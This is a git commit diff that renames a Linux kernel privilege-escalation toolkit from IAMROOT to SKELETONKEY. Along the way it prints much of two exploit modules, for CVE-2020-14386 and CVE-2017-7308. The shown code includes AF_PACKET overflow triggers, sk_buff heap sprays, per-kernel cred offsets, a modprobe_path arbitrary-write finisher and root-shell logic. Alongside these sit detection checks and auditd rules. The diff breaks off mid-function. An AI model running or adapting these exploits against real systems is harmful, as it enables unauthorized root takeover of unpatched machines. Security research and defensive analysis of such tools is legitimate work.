rename: IAMROOT → SKELETONKEY across the entire project
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.
Changes:
- All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
values, docs, comments)
- All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
- iamroot.c → skeletonkey.c
- modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
- tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
- Binary "iamroot" → "skeletonkey"
- GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
- .gitignore now expects build output named "skeletonkey"
- /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
- Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*
New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.
VERSION: 0.3.1 → 0.4.0 (breaking).
Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
@@ -20,7 +20,7 @@ reachable.
|
||||
|
||||
## Decision needed before implementing
|
||||
|
||||
Is the unprivileged-userns-netns scenario in scope for IAMROOT? If
|
||||
Is the unprivileged-userns-netns scenario in scope for SKELETONKEY? If
|
||||
yes, this module ships. If we restrict to "default Linux user
|
||||
account, no namespace tricks," this module is out of scope.
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@ Original advisory: <https://unit42.paloaltonetworks.com/cve-2020-14386/>
|
||||
Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020).
|
||||
Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
Sibling of CVE-2017-7308; same subsystem, different code path.
|
||||
Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray.
|
||||
@@ -24,5 +24,5 @@ PRIMITIVE-DEMO scope by default (no cred overwrite). `--full-chain`
|
||||
attempts the Or-Cohen-style sk_buff data-pointer hijack through
|
||||
the shared finisher.
|
||||
|
||||
Shares the `iamroot-af-packet` auditd key with the CVE-2017-7308
|
||||
Shares the `skeletonkey-af-packet` auditd key with the CVE-2017-7308
|
||||
module so detection signatures dedupe cleanly.
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* af_packet2_cve_2020_14386 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET2_IAMROOT_MODULES_H
|
||||
#define AF_PACKET2_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module af_packet2_module;
|
||||
|
||||
#endif
|
||||
+42
-42
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* af_packet2_cve_2020_14386 — IAMROOT module
|
||||
* af_packet2_cve_2020_14386 — SKELETONKEY module
|
||||
*
|
||||
* AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow → heap
|
||||
* write-before-allocation. Different bug from CVE-2017-7308 — same
|
||||
@@ -10,12 +10,12 @@
|
||||
* - Default (no --full-chain): the exploit() entry point reaches the
|
||||
* vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
|
||||
* with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
|
||||
* skb spray groom, and returns IAMROOT_EXPLOIT_FAIL (primitive-only
|
||||
* skb spray groom, and returns SKELETONKEY_EXPLOIT_FAIL (primitive-only
|
||||
* behavior — kernel-version-agnostic, no offsets baked in).
|
||||
* - With --full-chain: after the underflow lands, we resolve kernel
|
||||
* offsets (env → kallsyms → System.map → embedded table) and run
|
||||
* an Or-Cohen-style sk_buff-data-pointer hijack through the shared
|
||||
* iamroot_finisher_modprobe_path() helper. The arb-write itself is
|
||||
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself is
|
||||
* LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
|
||||
* us a single 8-byte heap-OOB write into the head of the
|
||||
* adjacent-page slab object; we spray sk_buffs so that next-page
|
||||
@@ -43,7 +43,7 @@
|
||||
* before backport. Embedded systems with 4.x kernels still in production.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
@@ -75,7 +75,7 @@
|
||||
#endif
|
||||
|
||||
/* ---------- macOS / non-linux build stubs ---------------------------
|
||||
* Modules in IAMROOT are dev-built on macOS and run-built on Linux.
|
||||
* Modules in SKELETONKEY are dev-built on macOS and run-built on Linux.
|
||||
* Provide empty stubs so syntax checks pass without Linux headers.
|
||||
* The exploit path is gated at runtime on the kernel version anyway,
|
||||
* so the stubs are never reached on macOS targets. */
|
||||
@@ -148,12 +148,12 @@ static int can_unshare_userns(void)
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
|
||||
@@ -162,7 +162,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
|
||||
v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&af_packet2_range, &v);
|
||||
@@ -170,7 +170,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
@@ -185,12 +185,12 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
|
||||
@@ -280,7 +280,7 @@ static int get_ifindex(const char *name)
|
||||
/* The primitive run; executed inside the unshare()'d child. Returns
|
||||
* 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
|
||||
* at the kernel level (setsockopt rejected our crafted ring)". */
|
||||
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (bring_up_lo() < 0) {
|
||||
fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
|
||||
@@ -441,7 +441,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
|
||||
#else /* !__linux__: provide a stub for macOS sanity builds */
|
||||
static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
|
||||
@@ -473,7 +473,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
* Reality check on this implementation: the deterministic mechanics
|
||||
* of the above (precise frame size, repeated spray timing, sk_buff
|
||||
* struct offset for the running kernel) are not portable enough to
|
||||
* land reliably from a single iamroot run on an arbitrary host. We
|
||||
* land reliably from a single skeletonkey run on an arbitrary host. We
|
||||
* therefore ship this as a LAST-RESORT stub: we attempt the spray +
|
||||
* trigger sequence, then return -1 to signal "the primitive fired
|
||||
* but we cannot empirically confirm the write landed". The shared
|
||||
@@ -486,7 +486,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
|
||||
* write-and-readback once the per-kernel sk_buff layout is pinned
|
||||
* down for the target host. */
|
||||
struct afp2_arb_ctx {
|
||||
const struct iamroot_ctx *ictx;
|
||||
const struct skeletonkey_ctx *ictx;
|
||||
int n_attempts; /* spray/fire rounds before giving up */
|
||||
};
|
||||
|
||||
@@ -543,7 +543,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
||||
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
|
||||
* empirically confirm the 8-byte write landed on an sk_buff->data
|
||||
* field on this host. Return -1 so the finisher's sentinel-check
|
||||
* loop in iamroot_finisher_modprobe_path() correctly reports
|
||||
* loop in skeletonkey_finisher_modprobe_path() correctly reports
|
||||
* "payload didn't run within 3s" rather than claiming success. */
|
||||
fprintf(stderr,
|
||||
"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
|
||||
@@ -563,11 +563,11 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
||||
}
|
||||
#endif
|
||||
|
||||
static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* 1. Re-confirm vulnerability. */
|
||||
iamroot_result_t pre = af_packet2_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = af_packet2_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
|
||||
return pre;
|
||||
}
|
||||
@@ -575,13 +575,13 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
/* 2. Refuse if already root. */
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->authorized) {
|
||||
/* Defense in depth — the dispatcher should have gated this. */
|
||||
fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -597,7 +597,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) {
|
||||
fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
@@ -644,7 +644,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] af_packet2: primitive child crashed "
|
||||
"(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
|
||||
WTERMSIG(status));
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
switch (WEXITSTATUS(status)) {
|
||||
case 3:
|
||||
@@ -652,16 +652,16 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
|
||||
"appears patched at runtime\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
case 2:
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
case 4:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
|
||||
"(scope = PRIMITIVE-DEMO)\n"
|
||||
" For end-to-end root, see Or Cohen's public PoC "
|
||||
"(github.com/google/security-research).\n"
|
||||
" iamroot intentionally does not embed per-kernel offsets.\n");
|
||||
" skeletonkey intentionally does not embed per-kernel offsets.\n");
|
||||
}
|
||||
if (ctx->full_chain) {
|
||||
#if defined(__x86_64__) && defined(__linux__)
|
||||
@@ -670,47 +670,47 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
||||
* finisher. Per the verified-vs-claimed bar: if we can't
|
||||
* resolve modprobe_path, refuse with a helpful message
|
||||
* rather than fabricate an address. */
|
||||
struct iamroot_kernel_offsets off;
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("af_packet2");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("af_packet2");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
}
|
||||
struct afp2_arb_ctx arb_ctx = {
|
||||
.ictx = ctx,
|
||||
.n_attempts = 4,
|
||||
};
|
||||
return iamroot_finisher_modprobe_path(&off, afp2_arb_write,
|
||||
return skeletonkey_finisher_modprobe_path(&off, afp2_arb_write,
|
||||
&arb_ctx, !ctx->no_shell);
|
||||
#else
|
||||
fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#endif
|
||||
}
|
||||
if (ctx->no_shell) {
|
||||
/* User explicitly disabled the shell pop, so the "we didn't
|
||||
* pop a shell" outcome is the expected one. Map to OK. */
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
default:
|
||||
fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
|
||||
WEXITSTATUS(status));
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
}
|
||||
|
||||
static const char af_packet2_auditd[] =
|
||||
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
|
||||
"# Same syscall surface as CVE-2017-7308 — share the iamroot-af-packet\n"
|
||||
"# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
|
||||
"# key so one ausearch covers both. AF_PACKET socket creation from\n"
|
||||
"# non-root via userns is the canonical footprint.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n";
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
|
||||
|
||||
const struct iamroot_module af_packet2_module = {
|
||||
const struct skeletonkey_module af_packet2_module = {
|
||||
.name = "af_packet2",
|
||||
.cve = "CVE-2020-14386",
|
||||
.summary = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
|
||||
@@ -726,7 +726,7 @@ const struct iamroot_module af_packet2_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_af_packet2(void)
|
||||
void skeletonkey_register_af_packet2(void)
|
||||
{
|
||||
iamroot_register(&af_packet2_module);
|
||||
skeletonkey_register(&af_packet2_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* af_packet2_cve_2020_14386 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET2_SKELETONKEY_MODULES_H
|
||||
#define AF_PACKET2_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module af_packet2_module;
|
||||
|
||||
#endif
|
||||
@@ -16,14 +16,14 @@ Original advisory + writeup:
|
||||
Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017).
|
||||
Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)`
|
||||
+ TPACKET_V3 with overflowing tp_block_size triggers the integer
|
||||
overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race
|
||||
finisher (64 child workers polling geteuid). Offset table covers
|
||||
Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the
|
||||
`IAMROOT_AFPACKET_OFFSETS` env var.
|
||||
`SKELETONKEY_AFPACKET_OFFSETS` env var.
|
||||
|
||||
`--full-chain` engages the shared modprobe_path finisher with
|
||||
stride-seeded sk_buff data-pointer overwrite.
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* af_packet_cve_2017_7308 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET_IAMROOT_MODULES_H
|
||||
#define AF_PACKET_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module af_packet_module;
|
||||
|
||||
#endif
|
||||
+56
-56
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* af_packet_cve_2017_7308 — IAMROOT module
|
||||
* af_packet_cve_2017_7308 — SKELETONKEY module
|
||||
*
|
||||
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow → heap
|
||||
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
|
||||
@@ -15,9 +15,9 @@
|
||||
*
|
||||
* Default --exploit path: cred-overwrite walk using a hardcoded per-
|
||||
* kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
|
||||
* era), overridable via IAMROOT_AFPACKET_OFFSETS. We only claim
|
||||
* IAMROOT_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
|
||||
* we won root for real. Otherwise we return IAMROOT_EXPLOIT_FAIL with
|
||||
* era), overridable via SKELETONKEY_AFPACKET_OFFSETS. We only claim
|
||||
* SKELETONKEY_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
|
||||
* we won root for real. Otherwise we return SKELETONKEY_EXPLOIT_FAIL with
|
||||
* a dmesg breadcrumb so the operator can confirm the primitive at
|
||||
* least fired (KASAN slab-out-of-bounds splat) even if the cred-
|
||||
* overwrite didn't take on this exact kernel.
|
||||
@@ -32,7 +32,7 @@
|
||||
* staged for the requested kaddr/buf and relies on the shared
|
||||
* finisher's /tmp sentinel to confirm whether modprobe_path was
|
||||
* actually overwritten. On kernels where the operator has supplied
|
||||
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
|
||||
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
|
||||
* the skb head, hex), we use that for explicit targeting; otherwise
|
||||
* the trigger fires heuristically and the sentinel acts as the
|
||||
* ground-truth signal.
|
||||
@@ -58,7 +58,7 @@
|
||||
* skb in the OOB slot" approach.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
@@ -119,12 +119,12 @@ static int can_unshare_userns(void)
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&af_packet_range, &v);
|
||||
@@ -132,7 +132,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
@@ -148,12 +148,12 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] af_packet: user_ns denied → "
|
||||
"unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit (x86_64-only; gated below) -------------------------- */
|
||||
@@ -173,7 +173,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
||||
* They will NOT match custom-compiled kernels.
|
||||
*
|
||||
* Override at runtime via env var:
|
||||
* IAMROOT_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
|
||||
* SKELETONKEY_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
|
||||
*
|
||||
* `task_cred` = offsetof(struct task_struct, cred)
|
||||
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
|
||||
@@ -200,12 +200,12 @@ static const struct af_packet_offsets known_offsets[] = {
|
||||
0x800, 0x08, 0xa8 },
|
||||
};
|
||||
|
||||
/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from
|
||||
/* Parse SKELETONKEY_AFPACKET_OFFSETS env var if set; otherwise pick from
|
||||
* the known table by kernel version. Returns true on success. */
|
||||
static bool resolve_offsets(struct af_packet_offsets *out,
|
||||
const struct kernel_version *v)
|
||||
{
|
||||
const char *env = getenv("IAMROOT_AFPACKET_OFFSETS");
|
||||
const char *env = getenv("SKELETONKEY_AFPACKET_OFFSETS");
|
||||
if (env) {
|
||||
unsigned long t, u, s;
|
||||
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
|
||||
@@ -215,7 +215,7 @@ static bool resolve_offsets(struct af_packet_offsets *out,
|
||||
out->cred_size = s;
|
||||
return true;
|
||||
}
|
||||
fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed "
|
||||
fprintf(stderr, "[!] af_packet: SKELETONKEY_AFPACKET_OFFSETS malformed "
|
||||
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
|
||||
return false;
|
||||
}
|
||||
@@ -264,7 +264,7 @@ static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
|
||||
*
|
||||
* After firing, we check dmesg-ability (we won't actually read dmesg
|
||||
* — that requires root — but we leave a unique tag in the skb payload
|
||||
* so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats).
|
||||
* so the operator can grep dmesg for "skeletonkey-afp-tag" KASAN splats).
|
||||
*/
|
||||
static int fire_overflow_and_spray(void)
|
||||
{
|
||||
@@ -338,7 +338,7 @@ static int fire_overflow_and_spray(void)
|
||||
static const unsigned char skb_payload[256] = {
|
||||
/* eth header (dst=broadcast, src=zero, type=0x0800) */
|
||||
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
|
||||
/* IAMROOT tag — operator can grep dmesg for this string in any
|
||||
/* SKELETONKEY tag — operator can grep dmesg for this string in any
|
||||
* subsequent KASAN report or panic dump */
|
||||
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
|
||||
/* zeros for the remainder */
|
||||
@@ -363,7 +363,7 @@ static int fire_overflow_and_spray(void)
|
||||
/* Keep the corrupted socket open so the OOB region stays mapped
|
||||
* for the cred-overwrite walk that follows. The caller closes it. */
|
||||
/* Stash the fd via dup2 to a known number so the caller can find it.
|
||||
* Use 200 — well above stdio + iamroot's own pipe fds. */
|
||||
* Use 200 — well above stdio + skeletonkey's own pipe fds. */
|
||||
if (dup2(s, 200) < 0) {
|
||||
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
|
||||
}
|
||||
@@ -474,7 +474,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
|
||||
* spray payload so its bytes carry the requested target kaddr
|
||||
* (the prompt's "controllable overwrite value aimed at
|
||||
* modprobe_path"). Operator-supplied
|
||||
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
|
||||
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
|
||||
* within struct sk_buff for this kernel build) lets us aim
|
||||
* precisely; without it we heuristically stamp kaddr at several
|
||||
* plausible offsets within the kmalloc-2k skb layout.
|
||||
@@ -491,7 +491,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
|
||||
*/
|
||||
|
||||
struct afp_arb_ctx {
|
||||
const struct iamroot_ctx *ctx;
|
||||
const struct skeletonkey_ctx *ctx;
|
||||
const struct af_packet_offsets *off;
|
||||
uid_t outer_uid;
|
||||
gid_t outer_gid;
|
||||
@@ -517,13 +517,13 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
/* Per-kernel skb->data field offset — without this we can't aim
|
||||
* the overwrite precisely. Operator can supply via env; otherwise
|
||||
* we run heuristic mode. */
|
||||
const char *skb_off_env = getenv("IAMROOT_AFPACKET_SKB_DATA_OFFSET");
|
||||
const char *skb_off_env = getenv("SKELETONKEY_AFPACKET_SKB_DATA_OFFSET");
|
||||
long skb_data_off = -1;
|
||||
if (skb_off_env) {
|
||||
char *end = NULL;
|
||||
skb_data_off = strtol(skb_off_env, &end, 0);
|
||||
if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
|
||||
fprintf(stderr, "[-] af_packet: IAMROOT_AFPACKET_SKB_DATA_OFFSET "
|
||||
fprintf(stderr, "[-] af_packet: SKELETONKEY_AFPACKET_SKB_DATA_OFFSET "
|
||||
"malformed (\"%s\"); ignoring\n", skb_off_env);
|
||||
skb_data_off = -1;
|
||||
}
|
||||
@@ -540,16 +540,16 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
" field offset. The trigger will still fire and the heap spray will\n"
|
||||
" still occur, but precise OOB targeting requires:\n"
|
||||
"\n"
|
||||
" IAMROOT_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
|
||||
" SKELETONKEY_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
|
||||
"\n"
|
||||
" Look it up on this kernel build with `pahole struct sk_buff` or\n"
|
||||
" `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
|
||||
" /tmp/iamroot-pwn-<pid> sentinel adjudicates success either way.\n");
|
||||
" /tmp/skeletonkey-pwn-<pid> sentinel adjudicates success either way.\n");
|
||||
}
|
||||
|
||||
/* Fork into a userns/netns child so the AF_PACKET socket has
|
||||
* CAP_NET_RAW. The finisher itself stays in the parent so its
|
||||
* eventual execve() replaces the top-level iamroot process. */
|
||||
* eventual execve() replaces the top-level skeletonkey process. */
|
||||
pid_t cpid = fork();
|
||||
if (cpid < 0) {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
|
||||
@@ -648,7 +648,7 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
|
||||
memset(payload, 0xff, 6); /* eth dst: bcast */
|
||||
memset(payload + 6, 0, 6); /* eth src: zero */
|
||||
payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */
|
||||
memcpy(payload + 14, "iamroot-afp-fc-", 15); /* dmesg tag */
|
||||
memcpy(payload + 14, "skeletonkey-afp-fc-", 15); /* dmesg tag */
|
||||
|
||||
if (skb_data_off >= 0 &&
|
||||
(size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
|
||||
@@ -703,17 +703,17 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
|
||||
|
||||
#endif /* __x86_64__ */
|
||||
|
||||
static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#if !defined(__x86_64__)
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
|
||||
"(cred-offset table is arch-specific)\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
/* 1. Refuse on patched kernels — re-run detect. */
|
||||
